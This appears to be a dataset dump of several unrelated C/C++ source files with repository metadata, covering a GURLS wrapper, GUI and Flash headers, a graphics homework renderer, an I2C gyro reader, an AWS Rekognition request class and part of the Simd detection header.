class PyGURLSWrapper {
private:
GURLS G;
// void pointer to support multiple data input types
std::map< char*, void* > data_map;
OptTaskSequence *seq; // task sequence
GurlsOptionsList *processes; //GURLS processes
GurlsOptionsList *opt; // options structure
unsigned long num_mat_rows; //# of rows from last conversion
unsigned long num_mat_cols; //# of cols from last conversion
int (gurls::PyGURLSWrapper::*pt_run)(char*,char*,char*);
void (gurls::PyGURLSWrapper::*pt_load_data)(char*,char*);
void load_data_double (char* data_file, char* data_id);
void load_data_float (char* data_file, char* data_id);
int run_double (char* in_data, char* out_data, char* job_id);
int run_float (char* in_data, char* out_data, char* job_id);
const std::vector<double> export_gmat(const gMat2D<double>& mat);
public:
PyGURLSWrapper();
PyGURLSWrapper(char* data_type);
~PyGURLSWrapper();
const std::vector<double> get_field(char* field);
const std::vector<double> get_opt_field(char* option,char* field);
void add_data(std::vector<double>& vec_dat, unsigned long rows,
unsigned long cols, char* data_id);
void load_data(char* data_file, char* data_id);
void erase_data(char* data_id);
std::vector<double> get_data_vec(char* data_id);
void set_task_sequence(char* seq_str);
void clear_task_sequence();
void init_processes(char* p_name, bool use_default);
void add_process(char* p_name, char* opt_str);
void clear_processes();
void build_pipeline(char* p_name, bool use_default);
void clear_pipeline();
int run(char* in_data, char* out_data, char* job_id);
unsigned long get_num_rows(){return this->num_mat_rows;}
unsigned long get_num_cols(){return this->num_mat_cols;}
};
}
| [
"psantana@mit.edu"
] | psantana@mit.edu |
7f68fa6752fff0d613af71b6dedbff98910ff89b | fb3c1e036f18193d6ffe59f443dad8323cb6e371 | /src/flash/AVMSWF/api/flash/net/AS3IDynamicPropertyWriter.h | f4db104431ba32559e46fb429adf753c4ce81e61 | [] | no_license | playbar/nstest | a61aed443af816fdc6e7beab65e935824dcd07b2 | d56141912bc2b0e22d1652aa7aff182e05142005 | refs/heads/master | 2021-06-03T21:56:17.779018 | 2016-08-01T03:17:39 | 2016-08-01T03:17:39 | 64,627,195 | 3 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,155 | h | #ifndef _AS3IDynamicPropertyWriter_
#define _AS3IDynamicPropertyWriter_
namespace avmplus{namespace NativeID{
class IDynamicPropertyWriterClassSlots{
friend class SlotOffsetsAndAsserts;
public://Declare your STATIC AS3 slots here!!!
private:};
class IDynamicPropertyWriterObjectSlots{
friend class SlotOffsetsAndAsserts;
public:
//Declare your MEMBER AS3 slots here!!!
private:};
}}
namespace avmshell{
class IDynamicPropertyWriterClass : public ClassClosure
{
public:
IDynamicPropertyWriterClass(VTable *vtable);
ScriptObject *createInstance(VTable *ivtable, ScriptObject *delegate);
private:
friend class avmplus::NativeID::SlotOffsetsAndAsserts;
avmplus::NativeID::IDynamicPropertyWriterClassSlots m_slots_IDynamicPropertyWriterClass;
};
class IDynamicPropertyWriterObject : public ScriptObject
{
public:
IDynamicPropertyWriterObject(VTable* _vtable, ScriptObject* _delegate, int capacity);
public:
void* pData;//Set your data!!
private:
friend class avmplus::NativeID::SlotOffsetsAndAsserts;
avmplus::NativeID::IDynamicPropertyWriterObjectSlots m_slots_IDynamicPropertyWriterObject;
};}
#endif | [
"hgl868@126.com"
] | hgl868@126.com |
a1047112870146641f8441c6b67711535c075909 | cea74570a5a2511e68e4ba968220cd4bbb13c516 | /OpenSauce/shared/Include/GWEN/DragAndDrop.h | 066abd4b55f6481deee49fa6419359a8bc7c94a8 | [] | no_license | Dwood15/OpenSauce_Upgrade | 80bbc88fbf34340323d28ccd03623a103a27e714 | d48cf4819ed371beb4f6e9426f8ab8bcd67fe2b3 | refs/heads/master | 2021-05-04T18:35:39.132266 | 2018-02-18T01:26:48 | 2018-02-18T01:26:48 | 120,191,658 | 5 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 892 | h | /*
GWEN
Copyright (c) 2010 Facepunch Studios
See license in Gwen.h
*/
#pragma once
#if !PLATFORM_IS_DEDI
#ifndef GWEN_DRAGANDDROP_H
#define GWEN_DRAGANDDROP_H
#include <sstream>
#include "Gwen/Skin.h"
#include "Gwen/Structures.h"
namespace Gwen
{
namespace DragAndDrop
{
extern GWEN_EXPORT Package* CurrentPackage;
extern GWEN_EXPORT Gwen::Controls::Base* SourceControl;
extern GWEN_EXPORT Gwen::Controls::Base* HoveredControl;
bool GWEN_EXPORT Start( Gwen::Controls::Base* pControl, Package* pPackage );
bool GWEN_EXPORT OnMouseButton( Gwen::Controls::Base* pHoveredControl, int x, int y, bool bDown );
void GWEN_EXPORT OnMouseMoved( Gwen::Controls::Base* pHoveredControl, int x, int y );
void GWEN_EXPORT RenderOverlay( Gwen::Controls::Canvas* pCanvas, Skin::Base* skin );
void GWEN_EXPORT ControlDeleted( Gwen::Controls::Base* pControl );
}
}
#endif
#endif | [
"Dwood15@users.noreply.github.com"
] | Dwood15@users.noreply.github.com |
e85761dd45a6b04e8bde0ad61c1351f7a5adf1ec | 5a888d2a8270ad81108c09348619997b2fc40e1c | /FinalProject/CppVerison_V_Straight/Application5.cpp | c0e69db8ffb1dd9e0e75ebceac3fe6613bc047b5 | [
"MIT"
] | permissive | vincecao/3D-Graphics-Rendering | b5c75d336ff080862eea23a86e8528f78ed337bc | 2335da2dfb05c2174d1627983be0adc99f5e0b24 | refs/heads/master | 2020-09-07T16:15:17.074439 | 2019-12-20T09:20:19 | 2019-12-20T09:20:19 | 220,838,472 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 10,006 | cpp | // Application5.cpp: implementation of the Application5 class.
//
//////////////////////////////////////////////////////////////////////
/*
* application test code for homework assignment #5
*/
#include "stdafx.h"
#include "CS580HW.h"
#include "Application5.h"
#include "Gz.h"
#include "rend.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#define new DEBUG_NEW
#endif
#define INFILE "ppot.asc"
#define OUTFILE "output.ppm"
extern int tex_fun(float u, float v, GzColor color); /* image texture function */
extern int ptex_fun(float u, float v, GzColor color); /* procedural texture function */
extern int GzFreeTexture();
void recursive(GzCoord* vertexList, GzCoord* normalList, GzTextureIndex* uvList, float* midPoint, GzRender* m_pRender, GzToken* nameListTriangle, int count);
void shade(GzCoord norm, GzCoord color);
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
Application5::Application5()
{
}
Application5::~Application5()
{
Clean();
}
int Application5::Initialize()
{
GzCamera camera;
int xRes, yRes; /* display parameters */
GzToken nameListShader[9]; /* shader attribute names */
GzPointer valueListShader[9]; /* shader attribute pointers */
GzToken nameListLights[10]; /* light info */
GzPointer valueListLights[10];
int shaderType, interpStyle;
float specpower;
int status;
status = 0;
/*
* Allocate memory for user input
*/
m_pUserInput = new GzInput;
/*
* initialize the display and the renderer
*/
m_nWidth = 900; // frame buffer and display width
m_nHeight = 900; // frame buffer and display height
m_pRender = new GzRender(m_nWidth, m_nHeight);
m_pRender->GzDefault();
m_pFrameBuffer = m_pRender->framebuffer;
/* Translation matrix */
GzMatrix scale =
{
3.25, 0.0, 0.0, 0.0,
0.0, 3.25, 0.0, -3.25,
0.0, 0.0, 3.25, 3.5,
0.0, 0.0, 0.0, 1.0
};
GzMatrix rotateX =
{
1.0, 0.0, 0.0, 0.0,
0.0, .7071, .7071, 0.0,
0.0, -.7071, .7071, 0.0,
0.0, 0.0, 0.0, 1.0
};
GzMatrix rotateY =
{
.866, 0.0, -0.5, 0.0,
0.0, 1.0, 0.0, 0.0,
0.5, 0.0, .866, 0.0,
0.0, 0.0, 0.0, 1.0
};
#if 1 /* set up app-defined camera if desired, else use camera defaults */
camera.position[X] = -3;
camera.position[Y] = -25;
camera.position[Z] = -4;
camera.lookat[X] = 7.8;
camera.lookat[Y] = 0.7;
camera.lookat[Z] = 6.5;
camera.worldup[X] = -0.2;
camera.worldup[Y] = 1.0;
camera.worldup[Z] = 0.0;
camera.FOV = 63.7; /* degrees * /* degrees */
status |= m_pRender->GzPutCamera(camera);
#endif
/* Start Renderer */
status |= m_pRender->GzBeginRender();
/* Light */
GzLight light1 = { {-0.7071, 0.7071, 0}, {0.5, 0.5, 0.9} };
GzLight light2 = { {0, -0.7071, -0.7071}, {0.9, 0.2, 0.3} };
GzLight light3 = { {0.7071, 0.0, -0.7071}, {0.2, 0.7, 0.3} };
GzLight ambientlight = { {0, 0, 0}, {0, 0.5, 0} };
/* Material property */
GzColor specularCoefficient = { 0.3, 0.3, 0.3 };
GzColor ambientCoefficient = { 0.1, 0.1, 0.1 };
GzColor diffuseCoefficient = { 0.1, 0.5, 0.1 };
/*
renderer is ready for frame --- define lights and shader at start of frame
*/
/*
* Tokens associated with light parameters
*/
nameListLights[0] = GZ_DIRECTIONAL_LIGHT;
valueListLights[0] = (GzPointer)&light1;
nameListLights[1] = GZ_DIRECTIONAL_LIGHT;
valueListLights[1] = (GzPointer)&light2;
nameListLights[2] = GZ_DIRECTIONAL_LIGHT;
valueListLights[2] = (GzPointer)&light3;
status |= m_pRender->GzPutAttribute(3, nameListLights, valueListLights);
nameListLights[0] = GZ_AMBIENT_LIGHT;
valueListLights[0] = (GzPointer)&ambientlight;
status |= m_pRender->GzPutAttribute(1, nameListLights, valueListLights);
/*
* Tokens associated with shading
*/
nameListShader[0] = GZ_DIFFUSE_COEFFICIENT;
valueListShader[0] = (GzPointer)diffuseCoefficient;
/*
* Select either GZ_COLOR or GZ_NORMALS as interpolation mode
*/
nameListShader[1] = GZ_INTERPOLATE;
//interpStyle = GZ_COLOR; /* Gouraud shading */
interpStyle = GZ_NORMALS; /* Phong shading */
valueListShader[1] = (GzPointer)&interpStyle;
nameListShader[2] = GZ_AMBIENT_COEFFICIENT;
valueListShader[2] = (GzPointer)ambientCoefficient;
nameListShader[3] = GZ_SPECULAR_COEFFICIENT;
valueListShader[3] = (GzPointer)specularCoefficient;
nameListShader[4] = GZ_DISTRIBUTION_COEFFICIENT;
specpower = 32;
valueListShader[4] = (GzPointer)&specpower;
nameListShader[5] = GZ_TEXTURE_MAP;
#if 1 /* set up null texture function or valid pointer */
valueListShader[5] = (GzPointer)0;
#else
valueListShader[5] = (GzPointer)(tex_fun); /* or use ptex_fun */
#endif
status |= m_pRender->GzPutAttribute(6, nameListShader, valueListShader);
status |= m_pRender->GzPushMatrix(scale);
status |= m_pRender->GzPushMatrix(rotateY);
status |= m_pRender->GzPushMatrix(rotateX);
if (status) exit(GZ_FAILURE);
if (status)
return(GZ_FAILURE);
else
return(GZ_SUCCESS);
}
int Application5::Render()
{
GzToken nameListTriangle[3]; /* vertex attribute names */
GzPointer valueListTriangle[3]; /* vertex attribute pointers */
GzPointer valueListGrassTriangle[3];
GzCoord vertexList[3]; /* vertex position coordinates */
GzCoord normalList[3]; /* vertex normals */
GzTextureIndex uvList[3]; /* vertex texture map indices */
GzCoord vertexGrassList[3];
GzCoord normalGrassList[3];
GzTextureIndex uvGrassList[3];
char dummy[256];
int status;
/* Initialize Display */
status |= m_pRender->GzDefault(); /* init for new frame */
/*
* Tokens associated with triangle vertex values
*/
nameListTriangle[0] = GZ_POSITION;
nameListTriangle[1] = GZ_NORMAL;
nameListTriangle[2] = GZ_TEXTURE_INDEX;
// I/O File open
FILE *infile;
if ((infile = fopen(INFILE, "r")) == NULL)
{
AfxMessageBox("The input file was not opened\n");
return GZ_FAILURE;
}
FILE *outfile;
if ((outfile = fopen(OUTFILE, "wb")) == NULL)
{
AfxMessageBox("The output file was not opened\n");
return GZ_FAILURE;
}
/*
* Walk through the list of triangles, set color
* and render each triangle
*/
while (fscanf(infile, "%s", dummy) == 1) { /* read in tri word */
fscanf(infile, "%f %f %f %f %f %f %f %f",
&(vertexList[0][0]), &(vertexList[0][1]),
&(vertexList[0][2]),
&(normalList[0][0]), &(normalList[0][1]),
&(normalList[0][2]),
&(uvList[0][0]), &(uvList[0][1]));
fscanf(infile, "%f %f %f %f %f %f %f %f",
&(vertexList[1][0]), &(vertexList[1][1]),
&(vertexList[1][2]),
&(normalList[1][0]), &(normalList[1][1]),
&(normalList[1][2]),
&(uvList[1][0]), &(uvList[1][1]));
fscanf(infile, "%f %f %f %f %f %f %f %f",
&(vertexList[2][0]), &(vertexList[2][1]),
&(vertexList[2][2]),
&(normalList[2][0]), &(normalList[2][1]),
&(normalList[2][2]),
&(uvList[2][0]), &(uvList[2][1]));
/*
* Set the value pointers to the first vertex of the
* triangle, then feed it to the renderer
* NOTE: this sequence matches the nameList token sequence
*/
//get first midpoint
valueListTriangle[0] = (GzPointer)vertexList;
valueListTriangle[1] = (GzPointer)normalList;
valueListTriangle[2] = (GzPointer)uvList;
float *midPoint = (float *)malloc(8 * sizeof(float));
m_pRender->GzAddGrassWithModelSpace(3, nameListTriangle, valueListTriangle, vertexGrassList, normalGrassList, uvGrassList, midPoint);
valueListGrassTriangle[0] = (GzPointer)vertexGrassList;
valueListGrassTriangle[1] = (GzPointer)normalGrassList;
valueListGrassTriangle[2] = (GzPointer)uvGrassList;
m_pRender->GzPutTriangle(3, nameListTriangle, valueListGrassTriangle);
//make each point interact with midpoint
int count = 0;
recursive(vertexList, normalList, uvList, midPoint, m_pRender, nameListTriangle, count);
free(midPoint);
m_pRender->GzPutTriangle(3, nameListTriangle, valueListTriangle);
}
m_pRender->GzFlushDisplay2File(outfile); /* write out or update display to file*/
m_pRender->GzFlushDisplay2FrameBuffer(); // write out or update display to frame buffer
/*
* Close file
*/
if (fclose(infile))
AfxMessageBox(_T("The input file was not closed\n"));
if (fclose(outfile))
AfxMessageBox(_T("The output file was not closed\n"));
if (status)
return(GZ_FAILURE);
else
return(GZ_SUCCESS);
}
void recursive(GzCoord* vertexList, GzCoord* normalList, GzTextureIndex* uvList, float* midPoint, GzRender* m_pRender, GzToken* nameListTriangle, int count) {
if (count == 5) return;
GzPointer TempListTriangle[3];
GzCoord TempVertexList[3];
GzCoord TempNormalList[3];
GzTextureIndex TempUVList[3];
GzCoord vertexGrassList[3];
GzCoord normalGrassList[3];
GzTextureIndex uvGrassList[3];
GzPointer valueListGrassTriangle[3];
for (int k = 0; k < 3; k++) {
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 3; j++) {
TempVertexList[i][j] = vertexList[i][j];
TempNormalList[i][j] = normalList[i][j];
TempUVList[i][j] = uvList[i][j];
}
}
for (int i = 0; i < 3; i++)
{
TempVertexList[k][i] = midPoint[i];
TempNormalList[k][i] = midPoint[i + 3];
TempUVList[k][i] = midPoint[i + 5];
}
TempListTriangle[0] = (GzPointer)TempVertexList;
TempListTriangle[1] = (GzPointer)TempNormalList;
TempListTriangle[2] = (GzPointer)TempUVList;
m_pRender->GzAddGrassWithModelSpace(3, nameListTriangle, TempListTriangle, vertexGrassList, normalGrassList, uvGrassList, midPoint);
valueListGrassTriangle[0] = (GzPointer)vertexGrassList;
valueListGrassTriangle[1] = (GzPointer)normalGrassList;
valueListGrassTriangle[2] = (GzPointer)uvGrassList;
m_pRender->GzPutTriangle(3, nameListTriangle, valueListGrassTriangle);
recursive(TempVertexList, TempNormalList, TempUVList, midPoint, m_pRender, nameListTriangle, count+1);
}
}
int Application5::Clean()
{
/*
* Clean up and exit
*/
int status = 0;
free(m_pRender);
status |= GzFreeTexture();
if (status)
return(GZ_FAILURE);
else
return(GZ_SUCCESS);
}
| [
"linengca@usc.edu"
] | linengca@usc.edu |
2ba3837921aa547a55b5d6b3d08e9b31f7008c42 | 097df0a03ead79f6b2880872e33fd6cf04694867 | /PhoneBook/PersonsView.h | 146eedc95104dcad3cbdd0648f9b95b73e05a693 | [] | no_license | KrastevST/Phone-Book | e6f56848abc81c75e31561bd27e074368cd84ed6 | c847b4c336b4a1e56be2590a2686d0600bd4a670 | refs/heads/master | 2021-01-15T00:15:03.287870 | 2020-08-25T16:32:33 | 2020-08-25T16:32:33 | 242,807,997 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,810 | h | #pragma once
#include "PersonsDocument.h"
#include "PersonsDialog.h"
/////////////////////////////////////////////////////////////////////////////
// CPersonsView
class CPersonsView : public CListView
{
// Macros
// ----------------
public:
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif
protected:
DECLARE_DYNCREATE(CPersonsView)
DECLARE_MESSAGE_MAP()
#ifndef _DEBUG
inline CPersonsDocument* CPersonsView::GetDocument() const
{
return reinterpret_cast<CPersonsDocument*>(m_pDocument);
}
#endif
// Constants
// ----------------
private:
enum Columns { ColumnFirstName, ColumnMiddleName, ColumnLastName, ColumnCity, ColumnEGN, ColumnAddress};
// Constructor / Destructor
// ----------------
public:
CPersonsView() noexcept;
virtual ~CPersonsView();
// Methods
// ----------------
public:
afx_msg void OnContextMenuSelect();
afx_msg void OnContextMenuEdit();
afx_msg void OnContextMenuInsert();
afx_msg void OnContextMenuDelete();
afx_msg void OnLButtonDblClk(UINT nFlags, CPoint point);
private:
BOOL GetSelectedRecordID(int& nID);
// Overrides
// ----------------
public:
virtual void OnDraw(CDC* pDC)override;
virtual BOOL PreCreateWindow(CREATESTRUCT& cs)override;
protected:
virtual void OnInitialUpdate() override;
virtual void OnUpdate(CView* pSender, LPARAM lHint, CObject* pHint) override;
virtual BOOL OnPreparePrinting(CPrintInfo* pInfo) override;
virtual void OnBeginPrinting(CDC* pDC, CPrintInfo* pInfo) override;
virtual void OnEndPrinting(CDC* pDC, CPrintInfo* pInfo) override;
// Message Handlers
// ----------------
CPersonsDocument* GetDocument() const;
void OnContextMenu(CWnd* pWnd, CPoint ptMousePos);
// Members
//--------------------
private:
CMenu m_oContextMenu;
CCitiesData m_oCitiesData;
};
| [
"svetoslav.tkrastev@gmail.com"
] | svetoslav.tkrastev@gmail.com |
6fd88454c561b79cd87baf221bda116f4358b34a | 290b3d3896f6ed8873f43a524e88fc43a8f68458 | /MATHS/NumberTheory/spf.cpp | 6b98101c5365c4baad66ff8926d75fc2e2dcd016 | [] | no_license | som098/Competitive-Programming | 6abd61477c046544abd1f81147720e38bd0a952f | acd7d4964399640c6107f6e7d6545d48599d6b36 | refs/heads/master | 2022-12-31T00:40:26.932376 | 2020-10-20T18:57:08 | 2020-10-20T18:57:08 | 294,914,028 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 375 | cpp |
/*
calculating SMALLEST PRIME FACTOR OF EACH n from 1-100000
*/
int spf[100001];
void SPF()
{
for(int i=1;i<=100000;i++)
spf[i]=i;
for(int i=2;i<=sqrt(100000);i++)
{
if(spf[i]==i)
{
for(int j=2*i;j<=100000;j+=i)
{
if(spf[j]==j)
spf[j]=i;
}
}
}
}
| [
"somvishalkumar@gmail.com"
] | somvishalkumar@gmail.com |
fad9f786ae6fbd78ccc3476a260785e65ea2b6f0 | 7e14d8f864873af13180c395b79d38771e32de09 | /Src/wrapper.cpp | 985a716a30dcef391bee8d11507988bd0b0e2eb6 | [] | no_license | SatoshiRC/mpu9250 | 5f910ab0757fa0b81a0c44b53f2b65026a616e17 | 61e84044b354bcceb64899b9bd4d307d9de79796 | refs/heads/master | 2022-04-13T19:47:02.888259 | 2020-03-26T09:14:33 | 2020-03-26T09:14:33 | 250,211,184 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,339 | cpp | /*
* wrapper.cpp
*
* Created on: 2018/08/31
* Author: Sekiguchi Takuya
*/
#include "wrapper.hpp"
#include "tim.h"
#include "i2c_myclass.hpp"
#define memAdd 0x43
#define GYRO_ADD 0x68
I2C_myclass I2C_C(&hi2c2 , MAIN_I2C_ADDRESS);
uint8_t data1[2]={0x75,0};
uint8_t target_address = 0;
void init(){
I2C_C.init();
uint8_t a=0;
while(I2C_C.mem_read(&target_address , 1 , 0x75 , 1 , GYRO_ADD));
//while(HAL_I2C_Master_Transmit(&hi2c2 , GYRO_ADD ,data1 , 2 , 100) != HAL_OK);
HAL_GPIO_WritePin(GPIOD , GPIO_PIN_2 , GPIO_PIN_SET);
while(I2C_C.mem_write(&a , 1 , 0x6b , 1 , GYRO_ADD));
HAL_Delay(1000);
HAL_GPIO_WritePin(GPIOD , GPIO_PIN_2 , GPIO_PIN_RESET);
HAL_TIM_Base_Start_IT(&htim6);
}
int8_t data[6]={};
int16_t angular_velocity[3]={};
double angular[3] = {};
void loop(){
if(I2C_C.mem_read((uint8_t *)data , sizeof(data) , memAdd , 1 , GYRO_ADD)){
HAL_GPIO_WritePin(GPIOC , GPIO_PIN_14 , GPIO_PIN_RESET);
}else{
HAL_GPIO_WritePin(GPIOC , GPIO_PIN_14 , GPIO_PIN_SET);
}
angular_velocity[0] = ((int16_t)data[0]<<8 & data[1]);
angular_velocity[1] = ((int16_t)data[2]<<8 & data[3]);
angular_velocity[2] = ((int16_t)data[4]<<8 & data[5]);
}
void tim_internal(){
for(uint8_t n=0 ; n<3 ; n++)
angular[n] += ((int16_t)data[n*2]<<8) * 0.001;
HAL_GPIO_WritePin(GPIOC , GPIO_PIN_13 , GPIO_PIN_SET);
}
| [
"conatus.11099@gmail.com"
] | conatus.11099@gmail.com |
a64ae074813ac95ba7ca96b6eda57f83eea687e3 | 27bb5ed9eb1011c581cdb76d96979a7a9acd63ba | /aws-cpp-sdk-rekognition/source/model/IndexFacesRequest.cpp | f9e421330a60fe3a07812e25c0e1071042b26c04 | [
"Apache-2.0",
"JSON",
"MIT"
] | permissive | exoscale/aws-sdk-cpp | 5394055f0876a0dafe3c49bf8e804d3ddf3ccc54 | 0876431920136cf638e1748d504d604c909bb596 | refs/heads/master | 2023-08-25T11:55:20.271984 | 2017-05-05T17:32:25 | 2017-05-05T17:32:25 | 90,744,509 | 0 | 0 | null | 2017-05-09T12:43:30 | 2017-05-09T12:43:30 | null | UTF-8 | C++ | false | false | 2,173 | cpp | /*
* Copyright 2010-2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include <aws/rekognition/model/IndexFacesRequest.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <utility>
using namespace Aws::Rekognition::Model;
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
IndexFacesRequest::IndexFacesRequest() :
m_collectionIdHasBeenSet(false),
m_imageHasBeenSet(false),
m_externalImageIdHasBeenSet(false),
m_detectionAttributesHasBeenSet(false)
{
}
Aws::String IndexFacesRequest::SerializePayload() const
{
JsonValue payload;
if(m_collectionIdHasBeenSet)
{
payload.WithString("CollectionId", m_collectionId);
}
if(m_imageHasBeenSet)
{
payload.WithObject("Image", m_image.Jsonize());
}
if(m_externalImageIdHasBeenSet)
{
payload.WithString("ExternalImageId", m_externalImageId);
}
if(m_detectionAttributesHasBeenSet)
{
Array<JsonValue> detectionAttributesJsonList(m_detectionAttributes.size());
for(unsigned detectionAttributesIndex = 0; detectionAttributesIndex < detectionAttributesJsonList.GetLength(); ++detectionAttributesIndex)
{
detectionAttributesJsonList[detectionAttributesIndex].AsString(AttributeMapper::GetNameForAttribute(m_detectionAttributes[detectionAttributesIndex]));
}
payload.WithArray("DetectionAttributes", std::move(detectionAttributesJsonList));
}
return payload.WriteReadable();
}
Aws::Http::HeaderValueCollection IndexFacesRequest::GetRequestSpecificHeaders() const
{
Aws::Http::HeaderValueCollection headers;
headers.insert(Aws::Http::HeaderValuePair("X-Amz-Target", "RekognitionService.IndexFaces"));
return headers;
}
| [
"henso@amazon.com"
] | henso@amazon.com |
edf0a0ff74fd73f8b98759704b115b9f672e69e3 | f275bcf8c0df9f4a68b51bf289563a6c9e1cb471 | /1.cpp | 2cb9428cb4e1dd5fd1dd2d50abe5fee6e70b6988 | [] | no_license | iionov/C-Tasks | 72da2a7699db4b39cbb3e0c71de878999cb7a7ef | c6e71c666bf426f9c52130064d091743361dde26 | refs/heads/master | 2022-01-13T13:31:15.648876 | 2019-04-29T17:13:34 | 2019-04-29T17:13:34 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 697 | cpp | #include <iostream>
#include <stdio.h>
#include <string>
#include <stdlib.h>
#include <cstdlib>
#include <cstdlib>
#include <ctime>
#include <time.h>
using namespace std;
void print_number_table (short col,short row) {
srand ( time(NULL) );
for (int j =0; j<row ;++j){
for (int i = 0; i<col + row ; ++i){
cout << "* ";
}
cout << ""<<endl;
for (int i = 0; i<col ; ++i){
cout << "|" <<0 + rand () % 9<< "|";
}
cout << ""<<endl;
cout << "|";
for (int i = 0; i<col ; ++i){
cout << "-+ " ;
}
cout << "|" ;
cout << ""<<endl;
}
}
int main(){
short col = 3;
short row = 2;
print_number_table(col,row);
return 0;
}
| [
"noreply@github.com"
] | noreply@github.com |
eb7d22137a324a2d5fe662325684cadded48854a | f607fca5b5257eac90a8e615a4cee39d90a2523e | /AntiDupl.NET-2.3.9/src/3rd/Simd/SimdDetection.hpp | fcdef43074c8bbacff6342db00c4559a472d0589 | [] | no_license | fengxing666/CV_Resource | 65d63e323dabf046d113734b121ed8e508f6afec | ca7277da68a71bbfc240028c0375799d4d867e96 | refs/heads/main | 2023-09-03T18:00:43.457819 | 2021-10-17T14:14:53 | 2021-10-17T14:14:53 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 26,644 | hpp | /*
* Simd Library (http://ermig1979.github.io/Simd).
*
* Copyright (c) 2011-2017 Yermalayeu Ihar.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef __SimdDetection_hpp__
#define __SimdDetection_hpp__
#include "Simd/SimdLib.hpp"
#include "Simd/SimdParallel.hpp"
#include <vector>
#include <map>
#include <memory>
#include <limits.h>
#ifndef SIMD_CHECK_PERFORMANCE
#define SIMD_CHECK_PERFORMANCE()
#endif
namespace Simd
{
/*! @ingroup cpp_detection
\short The Detection structure provides object detection with using of HAAR and LBP cascade classifiers.
Using example (face detection in the image):
\code
#include "Simd/SimdDetection.hpp"
#include "Simd/SimdDrawing.hpp"
int main()
{
typedef Simd::Detection<Simd::Allocator> Detection;
Detection::View image;
image.Load("../../data/image/face/lena.pgm");
Detection detection;
detection.Load("../../data/cascade/haar_face_0.xml");
detection.Init(image.Size());
Detection::Objects objects;
detection.Detect(image, objects);
for (size_t i = 0; i < objects.size(); ++i)
Simd::DrawRectangle(image, objects[i].rect, uint8_t(255));
image.Save("result.pgm");
return 0;
}
\endcode
Using example (face detection in the video captured by OpenCV):
\code
#include <iostream>
#include <string>
#include "opencv2/opencv.hpp"
#ifndef SIMD_OPENCV_ENABLE
#define SIMD_OPENCV_ENABLE
#endif
#include "Simd/SimdDetection.hpp"
#include "Simd/SimdDrawing.hpp"
int main(int argc, char * argv[])
{
if (argc < 2)
{
std::cout << "You have to set video source! It can be 0 for camera or video file name." << std::endl;
return 1;
}
std::string source = argv[1];
cv::VideoCapture capture;
if (source == "0")
capture.open(0);
else
capture.open(source);
if (!capture.isOpened())
{
std::cout << "Can't capture '" << source << "' !" << std::endl;
return 1;
}
typedef Simd::Detection<Simd::Allocator> Detection;
Detection detection;
detection.Load("../../data/cascade/haar_face_0.xml");
bool inited = false;
const char * WINDOW_NAME = "FaceDetection";
cv::namedWindow(WINDOW_NAME, 1);
for (;;)
{
cv::Mat frame;
capture >> frame;
Detection::View image = frame;
if (!inited)
{
detection.Init(image.Size(), 1.2, image.Size() / 20);
inited = true;
}
Detection::Objects objects;
detection.Detect(image, objects);
for (size_t i = 0; i < objects.size(); ++i)
Simd::DrawRectangle(image, objects[i].rect, Simd::Pixel::Bgr24(0, 255, 255));
cv::imshow(WINDOW_NAME, frame);
if (cvWaitKey(1) == 27)// "press 'Esc' to break video";
break;
}
return 0;
}
\endcode
\note This is wrapper around low-level \ref object_detection API.
*/
template <template<class> class A>
struct Detection
{
typedef A<uint8_t> Allocator; /*!< Allocator type definition. */
typedef Simd::View<A> View; /*!< An image type definition. */
typedef Simd::Point<ptrdiff_t> Size; /*!< An image size type definition. */
typedef std::vector<Size> Sizes; /*!< A vector of image sizes type definition. */
typedef Simd::Rectangle<ptrdiff_t> Rect; /*!< A rectangle type definition. */
typedef std::vector<Rect> Rects; /*!< A vector of rectangles type definition. */
typedef int Tag; /*!< A tag type definition. */
static const Tag UNDEFINED_OBJECT_TAG = -1; /*!< The undefined object tag. */
/*!
\short The Object structure describes detected object.
*/
struct Object
{
Rect rect; /*!< \brief A bounding box around of detected object. */
int weight; /*!< \brief An object weight (number of elementary detections). */
Tag tag; /*!< \brief An object tag. It's useful if more than one detector works. */
/*!
Creates a new Object structure.
\param [in] r - initial bounding box.
\param [in] w - initial weight.
\param [in] t - initial tag.
*/
Object(const Rect & r = Rect(), int w = 0, Tag t = UNDEFINED_OBJECT_TAG)
: rect(r)
, weight(w)
, tag(t)
{
}
